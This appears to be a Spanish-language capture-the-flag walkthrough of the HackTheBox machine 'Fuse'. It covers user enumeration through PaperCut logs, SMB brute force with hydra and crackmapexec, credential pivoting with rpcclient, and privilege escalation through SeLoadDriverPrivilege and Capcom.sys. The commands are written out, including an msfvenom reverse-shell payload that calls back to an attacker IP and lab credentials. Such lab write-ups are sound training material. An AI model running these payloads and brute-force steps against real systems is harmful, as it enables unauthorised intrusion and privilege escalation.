HackTheBox Medium Windows Active Directory SMB SeLoadDriverPrivilege Capcom

Fuse

Enumeracion de usuarios via PaperCut; brute force SMB; pivot via rpcclient; escalada con SeLoadDriverPrivilege y Capcom.sys.

cat4clysm
Herramientas utilizadas
nmap cewl hydra crackmapexec evil-winrm msfvenom

Scanning

root@kali:~$
nmap -sC -sV -p135,139,389,88,464,636,445,593,80,53,3269,3268,5985,9389 -n -Pn 10.10.10.193 -oN targeted
nmap scan

Enumeracion Web - PaperCut

Accedemos a http://fuse.fabricorp.local (PaperCut logs). Extraemos usuarios:

papercut logs1 logs2 logs3
pmerton, tlavel, sthompson, bhult, administrator
root@kali:~$
cewl --with-numbers http://fuse.fabricorp.local/papercut/logs/html/index.htm -d 10 | tee password.txt

Brute Force SMB - Hydra / CrackMapExec

root@kali:~$
hydra -L users.txt -P password.txt -t 64 10.10.10.193 smb -V
hydra result
root@kali:~$
cme smb 10.10.10.193 -u users.txt -p password.txt
cme result
user: bhult   password: Fabricorp01
user: tlavel   password: Fabricorp01

smbpasswd + rpcclient

root@kali:~$
smbpasswd -r 10.10.10.193 -U tlavel
rpcclient 10.10.10.193 -U tlavel
rpcclient
password: $fab@s3Rv1ce$1
root@kali:~$
hydra -L domusers.txt -p '$fab@s3Rv1ce$1' -t 13 10.10.10.193 smb -V
final creds
evil-winrm -i 10.10.10.193 -u svc-print -p '$fab@s3Rv1ce$1'
type C:\Users\svc-print\Desktop\user.txt

Escalada - SeLoadDriverPrivilege + Capcom.sys

root@kali:~$
whoami /priv
privileges

SeLoadDriverPrivilege habilitado. Usamos EoPLoadDriver + ExploitCapcom:

EoPLoadDriver build compile ExploitCapcom
root@kali:~$
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.141 LPORT=4444 -f exe -o reverse.exe
.\EoPLoadDriver.exe System\CurrentControlSet\dfserv C:\ProgramData\Capcom.sys
.\ExploitCapcom.exe
root
type C:\Users\Administrator\Desktop\root.txt

Lecciones aprendidas